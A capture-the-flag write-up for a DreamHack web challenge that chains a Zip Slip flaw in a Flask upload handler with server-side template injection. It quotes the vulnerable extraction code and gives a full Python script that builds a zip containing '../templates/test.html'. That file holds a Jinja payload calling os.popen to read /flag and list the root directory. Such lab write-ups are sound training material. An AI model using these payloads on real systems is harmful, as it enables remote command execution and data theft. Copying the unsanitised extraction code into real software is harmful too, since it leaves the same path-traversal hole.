Room / Challenge: 거북이 (Web)
Metadata
- Author:
jameskaois - CTF: DreamHack
- Challenge: 거북이 (web)
- Link:
https://dreamhack.io/wargame/challenges/2194 - Level:
2 - Date:
25-11-2025
Goal
Leveraging Zip Slip vulnerability and get the flag.
My Solution
The app is vulnerable to Zip Slip vulnerability, the vulnerable block of code in /upload:
if (f.filename or "").lower().endswith(".zip") or "zip" in (f.content_type or "").lower():
data = f.read()
zf = zipfile.ZipFile(io.BytesIO(data))
names = []
for info in zf.infolist():
target = UPLOAD_DIR / info.filename # <--- VULNERABLE CODE HERE
if info.is_dir():
target.mkdir(parents=True, exist_ok=True)
else:
target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info) as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)
names.append(info.filename)
return jsonify(ok=True, saved=names)
The app doesn’t have any filetering or sanitizing so if we upload with a file with name ../templates/test.html, it will replace the test.html in templates folder with our file, then since this is a Flask app, we can use SSTI to get the flag content.
The Python code to create an exploit .zip file:
import zipfile
import io
def create_exploit():
ssti_payload = """
<!DOCTYPE html>
<html>
<head><title>Pwned</title></head>
<body>
<h1>Flag Output:</h1>
<pre>
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
</pre>
<hr>
<h3>Root Directory Listing:</h3>
<pre>
{{ config.__class__.__init__.__globals__['os'].popen('ls -la /').read() }}
</pre>
</body>
</html>
"""
target_path = "../templates/test.html"
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(target_path, ssti_payload)
filename = "turtle_exploit.zip"
with open(filename, "wb") as f:
f.write(zip_buffer.getvalue())
print(f"Generated '{filename}'")
if __name__ == "__main__":
create_exploit()
Upload the created turtle_exploit.zip and visit /test.html to get the flag:

